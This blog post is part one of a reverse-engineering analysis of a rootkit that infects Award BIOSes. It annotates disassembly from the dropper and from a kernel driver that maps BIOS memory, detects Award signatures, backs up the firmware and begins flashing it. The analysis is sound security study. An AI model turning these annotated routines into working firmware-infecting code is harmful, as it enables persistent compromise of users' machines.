So I was reading twitter this week and got around dozen twits per day about
this malware which infects bios and pwns award BIOSes, a friend also mentioned “some Chinese malware which infects BIOS” so I started looking for a sample, and found
I started reversing it and this is my progress, the reader should note that I wrote everything while I reversed it, this is only part one as it got a bit long.
Another part will be released in a while, once I’ll finish reversing it.
The malware doesn’t come packed with any protections, beside two XOR operations on the .text section and .rodata, from a first look it didn’t seem scary or anything like it, but I still haven’t got to a phase where I can actually say what it does.
The malware starts with a few simple steps:
* gets base address of the pe header
* changes page permissions into rwx
* decrypts a 0x500 long .text section with a simple xor byte ptr [esi+edx],98
.text:00402585 sub_402585 proc near ; CODE XREF: startp
.text:00402585 push esi
.text:00402586 call fn_change_page_perms
.text:0040258B push 0 ; lpModuleName
.text:0040258D call ds:GetModuleHandleA
.text:00402593 mov ecx, [eax+3Ch]
.text:00402596 add ecx, eax
.text:00402598 movzx edx, word ptr [ecx+14h]
.text:0040259C lea ecx, [edx+ecx+18h]
.text:004025A0 mov edx, [ecx+0Ch]
.text:004025A3 add edx, eax
.text:004025A5 xor esi, esi
.text:004025A7
.text:004025A7 decrypt_text_loop: ; CODE XREF: sub_402585+2Dj
.text:004025A7 xor byte ptr [esi+edx], 98h
.text:004025AB inc esi
.text:004025AC cmp esi, 500h
.text:004025B2 jl short decrypt_text_loop
nothing fancy goes here, after we changed the page permissions we can freely write anywhere we wish
we then proceed into .rdata section to decrypt another portion of code
base address is at 0x404000 with a 0x400 length
.text:004025B4 mov edx, [ecx+5Ch]
.text:004025B7 add ecx, 50h
.text:004025BA add edx, eax
.text:004025BC xor eax, eax
.text:004025BE mov ecx, [ecx+10h]
.text:004025C1 pop esi
.text:004025C2 test ecx, ecx
.text:004025C4 jbe short locret_4025CF
.text:004025C6
.text:004025C6 decrypt_rdata_loop: ; CODE XREF: sub_402585+48j
.text:004025C6 xor byte ptr [eax+edx], 89h
.text:004025CA inc eax
.text:004025CB cmp eax, ecx
.text:004025CD jb short decrypt_rdata_loop
.text:004025CF
.text:004025CF locret_4025CF: ; CODE XREF: sub_402585+3Fj
.text:004025CF retn
nothing interesting in here.
I was a bit suprised to see that after olly analyzed it I saw text strings instead of code,amongst the string we see a lot of “bios” related things, from what I’ve read, the malware/rootkit seem to reflash the bios
but we’ll have to see it ourselves, seeing is believing 😉
we fetched the process path and got a process snapshot we called CreateToolhelp32Snapshot to fetch a process list and called Process32Firstץ
Two strings were pushed into to the stack, to look for RSTray.exe and KVMon
these processes could be the malware’s process or some av that it wishes to monitor or eradicate the code is quite simple and fully understandableץ
.text:00402D56 push TH32CS_SNAPPROCESS ; dwFlags
.text:00402D58 call CreateToolhelp32Snapshot
.text:00402D5D mov edi, eax ; save the handle
.text:00402D5F lea eax, [ebp+pe]
.text:00402D65 push eax ; lppe
.text:00402D66 push edi ; hSnapshot
.text:00402D67 mov [ebp+pe.dwSize], 128h
.text:00402D71 call Process32First
.text:00402D76 push [ebp+lpString2] ; lpString2
.text:00402D79 mov esi, ds:lstrcmpiA
.text:00402D7F lea eax, [ebp+pe.szExeFile]
.text:00402D85 push eax ; lpString1
.text:00402D86
.text:00402D86 find_process_loop: ; CODE XREF: fn_find_process+60j
.text:00402D86 call esi ; lstrcmpiA
.text:00402D88 test eax, eax
.text:00402D8A jz short loc_402DA9
.text:00402D8C lea eax, [ebp+pe]
.text:00402D92 push eax ; lppe
.text:00402D93 push edi ; hSnapshot
.text:00402D94 call Process32Next
.text:00402D99 test eax, eax
.text:00402D9B jz short loc_402DAF
.text:00402D9D push [ebp+lpString2]
.text:00402DA0 lea eax, [ebp+pe.szExeFile]
.text:00402DA6 push eax
.text:00402DA7 jmp short find_process_loop
.text:00402DA9 loc_402DA9: ; CODE XREF: fn_find_process+43j
.text:00402DA9 mov ebx, [ebp+pe.th32ProcessID]
.text:00402DAF
.text:00402DAF loc_402DAF: ; CODE XREF: fn_find_process+54j
.text:00402DAF push edi ; hObject
.text:00402DB0 call ds:CloseHandle
.text:00402DB6 pop edi
.text:00402DB7 mov eax, ebx
.text:00402DB9 pop esi
.text:00402DBA pop ebx
.text:00402DBB leave
.text:00402DBC retn
for those who can’t understand much – here is a short summary
we first call Createtoolhelp32Snapshot to get a handle so we could call Process32First
then we go over all of the processes which we recvd from Createtoolhelp32Snapshot to look for them if we found the process, we save it in loc_402DA9 (I think) else we just call CloseHandle return zero
My system didn’t have those processes so I never hit loc_402DA9, in my next analysis series I will create such processes and see what happens (or not…depends how lazy I am and how interesting this kit/malware is).
The malware continues and calls GetCommandLineArgs. GetCommandLineArgs is called and the arguments are parsed and saved into a list based on a char array, I don’t know whether it’s some internal function or something the author wrote himself, but I found it quite frustrating, I’m no windows internals expert but the good old va_arg list could’ve fit here really good instead of looking for spaces, tabs, etc.
the malware calls GetVersionExA and starts looking goes through a switch case to handle
properly the OS, this is a very weird case which I didn’t bother reversing at all, there’s a big case which does some basic math which i cba to reverse, it tries to determine the major build of the OS.
I recall seeing some Microsoft video about how there are 12 ways to determine the Windows build but only one of them is actually true…you can guess whether or not the author used the right one (:
Once we parse the arguments it seems that the malware has 3 switches,
which I yet know their meaning, the switches are -u, -d and -w.
If the os version has no support (eax = 6) we just return, still nothing fancy : /
A simple side note btw –
the malware has a nice way to call methods by
push eax
retn
this tricked IDA into thinking that we haven’t reached into any new function
and made me click a few clicks ;p
Afterwards we load a resource, I don’t know what it does or what’s it’s purpose, but I think it has to do with bios.sys which we’ve seem before or some tmp file.
The resource size is 8D7 located at 420F8C in global memory
it doesn’t seem like a pe, or any sort of flat disassembly file
there doesn’t seem to be any sort magic or text at the start
hum, no fun here, beside loading the resource nothing happened
we’re now looking for the %TmP% file to see if it exists and if so delete it
after a few new operators and some c++ vooodoo (damn you c++ 😦 ) which I got lost in we finally write the %TMP% file which is a .sys driver (you can recognize it by the INIT section and import from ntoskrnl.exe and HAL.dll).
I don’t know the driver’s purpose but it had debugging symbols (when would come the time that kernel drivers also have protectors and packers ? )
/* edit: and from further analysis it also had DbgPrints 😀 */
d:\vc++\projects\mbr\bios\bios_operate\i386\bios.pdb
this gotta give us some hint 😉
I copied the tmp file and named it with a sys extension and hooked
up IDA to see a bit of it, at this stage I stopped debugging the main exe and move to the sys, I kept olly open to continue the debugging session to continue it later on but started my static analysis journey with IDA.
When opening the driver in IDA, you can see that it’s quite small and has only 11 functions.
4 of them are are only for initialization (DriverEntry,UnloadDriver,initialize_MajorFunctions and MF_do_nothing)
the rest are unknown for now, but looking at the graph we can see that only 3 functions are calling other functions, which makes the analysis a lot more simple.
The most frustrating part when reversing the driver would probably be (from a very quick look) to find which major function the driver is using
.text:000115A1 loc_115A1: ; CODE XREF: initialize_MajorFunctions+56j
.text:000115A1 mov eax, offset MF_do_nothing
.text:000115A6 mov [edi+38h], eax
.text:000115A9 mov [edi+40h], eax
.text:000115AC mov dword ptr [edi+70h], offset unknown_interesting_0
.text:000115B3 mov dword ptr [edi+34h], offset UnloadDriver?
.text:000115BA xor eax, eax
.text:000115BC
0:000> dt nt!_DRIVER_OBJECT
ntdll!_DRIVER_OBJECT
+0x000 Type : Int2B
+0x002 Size : Int2B
+0x004 DeviceObject : Ptr32 _DEVICE_OBJECT
+0x008 Flags : Uint4B
+0x00c DriverStart : Ptr32 Void
+0x010 DriverSize : Uint4B
+0x014 DriverSection : Ptr32 Void
+0x018 DriverExtension : Ptr32 _DRIVER_EXTENSION
+0x01c DriverName : _UNICODE_STRING
+0x024 HardwareDatabase : Ptr32 _UNICODE_STRING
+0x028 FastIoDispatch : Ptr32 _FAST_IO_DISPATCH
+0x02c DriverInit : Ptr32 long
+0x030 DriverStartIo : Ptr32 void
+0x034 DriverUnload : Ptr32 void
+0x038 MajorFunction : [28] Ptr32 long
0:000>
I already knew that we’re accessing the MajorFunction member, but having cdb around is a really good thing as IDA lacks the fucking ability to help in such critical moments
(thanks ThFabba for helping me finding the correct offsets, <3)
after resolving which IRP_MJ_* the driver uses, let's see what we end up with :
.text:000115A1 loc_115A1: ; CODE XREF: initialize_MajorFunctions+56j
.text:000115A1 mov eax, offset MF_do_nothing
.text:000115A6 mov [edi+38h], eax ; IRP_MJ_CREATE
.text:000115A9 mov [edi+40h], eax ; IRP_MJ_CLOSE
.text:000115AC mov dword ptr [edi+70h], offset IRP_MJ_DEVICE_CONTROL
.text:000115B3 mov dword ptr [edi+34h], offset DriverUnload
.text:000115BA xor eax, eax
.text:000115BC
the most interesting thing which comes up to my mind is the edi+70h, which I had a few issues resolving it beforehand
the function head is quite similar to any IRP_MJ head
.text:000114DA
.text:000114DA ; Attributes: bp-based frame
.text:000114DA
.text:000114DA ; int __stdcall IRP_MJ_DEVICE_CONTROL(int, PIRP Irp)
.text:000114DA IRP_MJ_DEVICE_CONTROL proc near ; DATA XREF: initialize_MajorFunctions+70o
.text:000114DA
.text:000114DA Irp = dword ptr 0Ch
and PIRP is
0:000> dt nt!_IRP
ntdll!_IRP
+0x000 Type : Int2B
+0x002 Size : Uint2B
+0x004 MdlAddress : Ptr32 _MDL
+0x008 Flags : Uint4B
+0x00c AssociatedIrp : __unnamed
+0x010 ThreadListEntry : _LIST_ENTRY
+0x018 IoStatus : _IO_STATUS_BLOCK
+0x020 RequestorMode : Char
+0x021 PendingReturned : UChar
+0x022 StackCount : Char
+0x023 CurrentLocation : Char
+0x024 Cancel : UChar
+0x025 CancelIrql : UChar
+0x026 ApcEnvironment : Char
+0x027 AllocationFlags : UChar
+0x028 UserIosb : Ptr32 _IO_STATUS_BLOCK
+0x02c UserEvent : Ptr32 _KEVENT
+0x030 Overlay : __unnamed
+0x038 CancelRoutine : Ptr32 void
+0x03c UserBuffer : Ptr32 Void
+0x040 Tail : __unnamed
0:000>
I truly thank cdb for actually printing the offset and not letting me fuck up with the offset calculation
the IRP_MJ_CONTROL function is the most interesting one, it is the one responsible to write to the bios and copy the firmware
from usermode to kernel and from there to the bios
it has 3 important functions which are quite easy to understand and are called from a case :
.text:000114DA ; int __stdcall IRP_MJ_DEVICE_CONTROL(int, PIRP Irp)
.text:000114DA IRP_MJ_DEVICE_CONTROL proc near ; DATA XREF: initialize_MajorFunctions+70o
.text:000114DA
.text:000114DA Irp = dword ptr 0Ch
.text:000114DA
.text:000114DA mov edi, edi
.text:000114DC push ebp
.text:000114DD mov ebp, esp
.text:000114DF push esi
.text:000114E0 mov esi, [ebp+Irp]
.text:000114E3 mov eax, [esi+60h]
.text:000114E6 and dword ptr [esi+18h], 0
.text:000114EA and dword ptr [esi+1Ch], 0
.text:000114EE cmp byte ptr [eax], 0Eh
.text:000114F1 push edi
.text:000114F2 jnz short return
.text:000114F4 mov eax, [eax+0Ch]
.text:000114F7 cmp eax, 80102180h
.text:000114FC jz short write_dosdevice_c_bios_bin_case
.text:000114FE cmp eax, 80102184h
.text:00011503 jz short loc_11513
.text:00011505 cmp eax, 80102188h
.text:0001150A jnz short return
.text:0001150C
.text:0001150C is_award_bios_case:
.text:0001150C call is_award_bios
.text:00011511 jmp short loc_1151F
.text:00011513 ; ---------------------------------------------------------------------------
.text:00011513
.text:00011513 loc_11513: ; CODE XREF: IRP_MJ_DEVICE_CONTROL+29j
.text:00011513 call fn_flash_bios?
.text:00011518 jmp short loc_1151F
.text:0001151A ; ---------------------------------------------------------------------------
.text:0001151A
.text:0001151A write_dosdevice_c_bios_bin_case: ; CODE XREF: IRP_MJ_DEVICE_CONTROL+22j
.text:0001151A call write_dosdevice_c_bios_bin
.text:0001151F
the reader would notice that I have named the fn_flash_bios? function, with a question mark, as I am not sure whether this one actually flashes the bios or the write_dosdevice_c_bios_bin_case function, from a quick look it seems that the first
one flashes the bios as it uses out instructions to into ports and has some debugging information (DbgPrints) showing some interesting strings,
but this is for later use.
The other 2 functions check whether the pc has an award bios or not and writes the actual modified bios
to the system with \\DosDevices\\Bios
Those who follow should notice that we still haven't reached from the usermode to the part where we create the C:\\bios.bin
this would be quite interesting to reverse as I have never reversed a bios in my entire life 🙂
Ok, let's quickly analyze this 3 functions which are the most interesting ones for now
we'll start with the easiest one, is_award_bios
the reader should note, however, that I lack of some bios and lowlevel oS knowledge, so I might miss a few things here
.text:000113CE push edi
.text:000113CF xor eax, eax
.text:000113D1 push eax ; CacheType
.text:000113D2 mov ebx, 10000h
.text:000113D7 push ebx ; NumberOfBytes
.text:000113D8 push eax
.text:000113D9 mov esi, 0F0000h
.text:000113DE push esi ; PhysicalAddress
.text:000113DF mov [ebp+var_4], eax
.text:000113E2 call ds:MmMapIoSpace
we see that the malware tries to map a physical address at 0F0000h, after a small google search I found that the bios is mapped from that place to 0F0000h in x86 arch (that is, the top 64k part of memory).
We can see that the NumberOfBytes parameter is set to 10000h so it could hint that we're reading the bios and probably more
just a quick note, which I'd like to mention, the author was kind enough to add DbgPrints
which decreased the complexity of understanding what each function does and also to identify the error checking basic blocks
.text:000113E8 mov edi, eax
.text:000113EA test edi, edi
.text:000113EC jnz short loc_11407
.text:000113EE push eax
.text:000113EF push esi
.text:000113F0 push offset aMmmapiospacePh ; "MmMapIoSpace physics address:0x%x faile"...
.text:000113F5 call DbgPrint
.text:000113FA add esp, 0Ch
.text:000113FD mov eax, 0C0000001h
.text:00011402
.text:00011402 loc_11402: ; CODE XREF: is_award_bios+79j
.text:00011402 pop edi
.text:00011403 pop esi
.text:00011404 pop ebx
.text:00011405 leave
.text:00011406 retn
🙂
Now let's move onto the interesting stuff, eax points to the mapped bios area we wish to inspect
.text:00011407 loc_11407: ; CODE XREF: is_award_bios+26j
.text:00011407 ; is_award_bios+5Dj
.text:00011407 cmp dword ptr [eax], 57414024h
.text:0001140D jnz short loc_11418
.text:0001140F cmp dword ptr [eax+4], 414C4644h
.text:00011416 jz short loc_11441
this check looks like it's look for magic values every Award bios has to know if it could infect it or not. I do not know much about Award BIOS , an in-depth analysis of the BIOS will be made in another post
.text:00011418
.text:00011418 loc_11418: ; CODE XREF: is_award_bios+47j
.text:00011418 inc eax
.text:00011419 inc [ebp+var_4]
.text:0001141C cmp [ebp+var_4], 0FFF5h
.text:00011423 jb short loc_11407
.text:00011425 push offset aThisIsNotAAwor ; "This is not a Aword BIOS!\n"
.text:0001142A call DbgPrint
.text:0001142F pop ecx
.text:00011430 mov esi, 0C0000001h
once again the author was kind enough to add DbgPrints to tell us whether or not it's an Award bios or not 😀
.text:00011441 find_smi_port: ; CODE XREF: is_award_bios+50j
.text:00011441 mov ax, [eax+2Ah]
.text:00011445 mov smi_port, ax
.text:0001144B movzx eax, ax
.text:0001144E push eax
.text:0001144F push offset aSmi_port0xX_ ; "SMI_PORT = 0x%x.\n"
.text:00011454 call DbgPrint
.text:00011459 pop ecx
.text:0001145A pop ecx
.text:0001145B lea esi, [edi+18h]
.text:0001145E mov [ebp+var_4], 0FFE6h
.text:00011465
.text:00011465 get_bios_size: ; CODE XREF: is_award_bios+D3j
.text:00011465 cmp dword ptr [esi-18h], 5F4D535Fh
.text:0001146C jnz short loc_11495
.text:0001146E cmp dword ptr [esi-8], 494D445Fh
.text:00011475 jnz short loc_11495
.text:00011477 movzx eax, word ptr [esi]
.text:0001147A movsx eax, byte ptr [eax+edi+9]
.text:0001147F inc eax
.text:00011480 shl eax, 6
.text:00011483 push eax
.text:00011484 push offset aBiossizeKb0xX_ ; "BIOSSize(KB) = 0x%x.\n"
.text:00011489 mov dword_13010, eax
.text:0001148E call DbgPrint
.text:00011493 pop ecx
.text:00011494 pop ecx
.text:00011494 pop ecx
the next stages get more information about the bios itself, the bios size, the smi port, etc,
/* edit: there's a small hint here about the order of the calls, the name implies that is_award_bios is the first, and write_dosdevice_c_bios_bin is second, and the third if flash_bios?, there's an unknown case here whether write_dosdevice_c_bios_bin is called twice – once to write the actual malware and another time to backup the bios… */
it is pretty cool to see the analysis that was done in order to identify the bios
pattern matching seem like a neat approach, unfrotunately I don't know Award BIOS internals that well to explain them, I might write a more brief post after I'll finish analyzing the whole malware, but for now this is all I can give.
once we finish getting the information we need a call to MmUnmapIoSpace is called and the function returns.
.text:00011435 loc_11435: ; CODE XREF: is_award_bios+D7j
.text:00011435 push ebx ; NumberOfBytes
.text:00011436 push edi ; BaseAddress
.text:00011437 call ds:MmUnmapIoSpace
.text:0001143D mov eax, esi
.text:0001143F jmp short loc_11402
.text:00011402 loc_11402: ; CODE XREF: is_award_bios+79j
.text:00011402 pop edi
.text:00011403 pop esi
.text:00011404 pop ebx
.text:00011405 leave
.text:00011406 retn
The next function got me a bit confused, I know what it does, but I might have a few mistakes when I analyze
it seem to backup the current bios that we have, and then
.text:0001128A write_dosdevice_c_bios_bin proc near ; CODE XREF: IRP_MJ_DEVICE_CONTROL:write_dosdevice_c_bios_bin_casep
.text:0001128A
.text:0001128A ObjectAttributes= OBJECT_ATTRIBUTES ptr -2Ch
.text:0001128A IoStatusBlock = _IO_STATUS_BLOCK ptr -14h
.text:0001128A DestinationString= UNICODE_STRING ptr -0Ch
.text:0001128A Handle = dword ptr -4
As mentioned in the previous function we first map the bios address space
.text:000112B4 loc_112B4: ; CODE XREF: write_dosdevice_c_bios_bin+16j
.text:000112B4 mov eax, dword_13010
.text:000112B9 push ebx
.text:000112BA push edi
.text:000112BB xor edi, edi
.text:000112BD cmp eax, edi
.text:000112BF jz return_status_unsuccess
.text:000112C5 cmp smi_port, di
.text:000112CC jz return_status_unsuccess
.text:000112D2 mov esi, eax
.text:000112D4 imul esi, 0FFFFFC00h
.text:000112DA push edi ; 0, CacheType
.text:000112DB shl eax, 0Ah
.text:000112DE push eax ; NumberOfBytes
.text:000112DF xor ecx, ecx
.text:000112E1 push ecx
.text:000112E2 push esi ; PhysicalAddress
.text:000112E3 call ds:MmMapIoSpace
we then move onto getting a handle to C:\bios.bin to save the bios in case anything bad will happen
.text:00011308 open_bios_bin: ; CODE XREF: write_dosdevice_c_bios_bin+63j
.text:00011308 push offset SourceString ; "\\DosDevices\\C:\\bios.bin"
.text:0001130D lea eax, [ebp+DestinationString]
.text:00011310 push eax ; DestinationString
.text:00011311 call ds:RtlInitUnicodeString
.text:00011317 push edi ; EaLength
.text:00011318 push edi ; EaBuffer
.text:00011319 push 20h ; CreateOptions
.text:0001131B push 5 ; CreateDisposition
.text:0001131D push 1 ; ShareAccess
.text:0001131F push 80h ; FileAttributes
.text:00011324 lea eax, [ebp+DestinationString]
.text:00011327 mov [ebp+ObjectAttributes.ObjectName], eax
.text:0001132A push edi ; AllocationSize
.text:0001132B lea eax, [ebp+IoStatusBlock]
.text:0001132E push eax ; IoStatusBlock
.text:0001132F lea eax, [ebp+ObjectAttributes]
.text:00011332 push eax ; ObjectAttributes
.text:00011333 push 100023h ; DesiredAccess
.text:00011338 lea eax, [ebp+Handle]
.text:0001133B push eax ; FileHandle
.text:0001133C mov [ebp+ObjectAttributes.Length], 18h
.text:00011343 mov [ebp+ObjectAttributes.RootDirectory], edi
.text:00011346 mov [ebp+ObjectAttributes.Attributes], 240h
.text:0001134D mov [ebp+ObjectAttributes.SecurityDescriptor], edi
.text:00011350 mov [ebp+ObjectAttributes.SecurityQualityOfService], edi
.text:00011353 call ds:ZwCreateFile
.text:00011359 mov esi, eax
.text:0001135B mov eax, dword_13010
.text:00011360 shl eax, 0Ah
.text:00011363 cmp esi, edi
Small note – this might be windows compiler specific – edi mostly has the value zero
and is always used to check for errors etc, this makes things a bit more easier to understand but makes you wonder more about compiler specific options etc that the project was compiled with (the smart readers would also notice the mov edi,edi
to add space for patching/detouring in some functions)
The real shit goes here, where we actually save a copy of our bios, ebx points to the buffer that we mapped with MmMapIoSpace
edi is zero, and IoStatusBlock is a parameter passed on the stack
.text:0001137C loc_1137C: ; CODE XREF: write_dosdevice_c_bios_bin+DBj
.text:0001137C push edi ; Key
.text:0001137D push edi ; ByteOffset
.text:0001137E push eax ; Length
.text:0001137F push ebx ; Buffer
.text:00011380 lea eax, [ebp+IoStatusBlock]
.text:00011383 push eax ; IoStatusBlock
.text:00011384 push edi ; ApcContext
.text:00011385 push edi ; ApcRoutine
.text:00011386 push edi ; Event
.text:00011387 push [ebp+Handle] ; FileHandle
.text:0001138A call ds:ZwWriteFile
.text:00011390 mov esi, eax
.text:00011392 cmp esi, edi
.text:00011394 jl short loc_113A1
.text:00011396 push offset aBackupAwordBio ; "Backup Aword BIOS to disk c bios.bin su"...
.text:0001139B call DbgPrint
.text:000113A0 pop ecx
a call to MmUnmapIoSpace is called afterwards and a return value is return upon success by mov eax, esi
what actually caught my eye was how do we get a STATUS_SUCCESS value ? since we saw on the begining of the value that esi is
.text:0001128A mov edi, edi
.text:0001128C push ebp
.text:0001128D mov ebp, esp
.text:0001128F sub esp, 2Ch
.text:00011292 push esi
.text:00011293 mov esi, STATUS_UNSUCCESSFUL
after looking a bit on the disassembly we can see that after the ZwcreateFile esi is accumulated with eax
.text:0001134D mov [ebp+ObjectAttributes.SecurityDescriptor], edi
.text:00011350 mov [ebp+ObjectAttributes.SecurityQualityOfService], edi
.text:00011353 call ds:ZwCreateFile
.text:00011359 mov esi, eax
.text:0001135B mov eax, dword_13010
.text:00011360 shl eax, 0Ah
.text:00011363 cmp esi, edi
.text:00011365 jge short loc_1137C
.text:00011367 push eax ; NumberOfBytes
.text:00011368 push ebx ; BaseAddress
.text:00011369 call ds:MmUnmapIoSpace
that's it 😉
Now to the real meat
.text:000110DE fn_flash_bios? proc near ; CODE XREF: IRP_MJ_DEVICE_CONTROL:loc_11513p
.text:000110DE
.text:000110DE ObjectAttributes= OBJECT_ATTRIBUTES ptr -40h
.text:000110DE IoStatusBlock = _IO_STATUS_BLOCK ptr -28h
.text:000110DE DestinationString= UNICODE_STRING ptr -20h
.text:000110DE ByteOffset = LARGE_INTEGER ptr -18h
.text:000110DE P = dword ptr -10h
.text:000110DE var_C = dword ptr -0Ch
.text:000110DE Handle = dword ptr -8
.text:000110DE var_4 = dword ptr -4
.text:000110DE
there are a few things which caught my eye first when I saw this function , one of them is that I might be mistaken about
my assumptions for the previous function, does it really backup the bios or does it do anything else ? I do not know yet,
to be sure, it copies the bios and writes it into C:\bios.bin, but which bios ? the modified one written by the malware
or the true – real one
the function opens \\DosDevice\\C:\\bios.bin and read it`s contents
.text:00011104 push offset SourceString ; "\\DosDevices\\C:\\bios.bin"
.text:00011109 lea eax, [ebp+DestinationString]
.text:0001110C push eax ; DestinationString
.text:0001110D call ds:RtlInitUnicodeString
.text:00011113 push edi ; EaLength
.text:00011114 push edi ; EaBuffer
.text:00011115 push 20h ; CreateOptions
.text:00011117 push 3 ; CreateDisposition
.text:00011119 push 1 ; ShareAccess
.text:0001111B push 80h ; FileAttributes
.text:00011120 lea eax, [ebp+DestinationString]
.text:00011123 mov [ebp+ObjectAttributes.ObjectName], eax
.text:00011126 push edi ; AllocationSize
.text:00011127 lea eax, [ebp+IoStatusBlock]
.text:0001112A push eax ; IoStatusBlock
.text:0001112B lea eax, [ebp+ObjectAttributes]
.text:0001112E push eax ; ObjectAttributes
.text:0001112F push 100023h ; DesiredAccess
.text:00011134 lea eax, [ebp+Handle]
.text:00011137 push eax ; FileHandle
.text:00011138 mov [ebp+ObjectAttributes.Length], 18h
.text:0001113F mov [ebp+ObjectAttributes.RootDirectory], edi
.text:00011142 mov [ebp+ObjectAttributes.Attributes], 240h
.text:00011149 mov [ebp+ObjectAttributes.SecurityDescriptor], edi
.text:0001114C mov [ebp+ObjectAttributes.SecurityQualityOfService], edi
.text:0001114F call ds:ZwCreateFile
it allocates a pool with the tag myfr, is that the author nick ? have I seen it before ? I can't honestly remember
but it rings a bell somewhere
.text:0001116C mov eax, dword_13010
.text:00011171 mov esi, 'mfyr'
.text:00011176 push esi ; Tag
.text:00011177 shl eax, 0Ah
.text:0001117A push eax ; NumberOfBytes
.text:0001117B push edi ; PoolType
.text:0001117C call ds:ExAllocatePoolWithTag
I will split this post into two (or more ?) parts, as I that it's getting longer than I anticipated, so the real sauce will
be in the next post, sorry, stay tuned.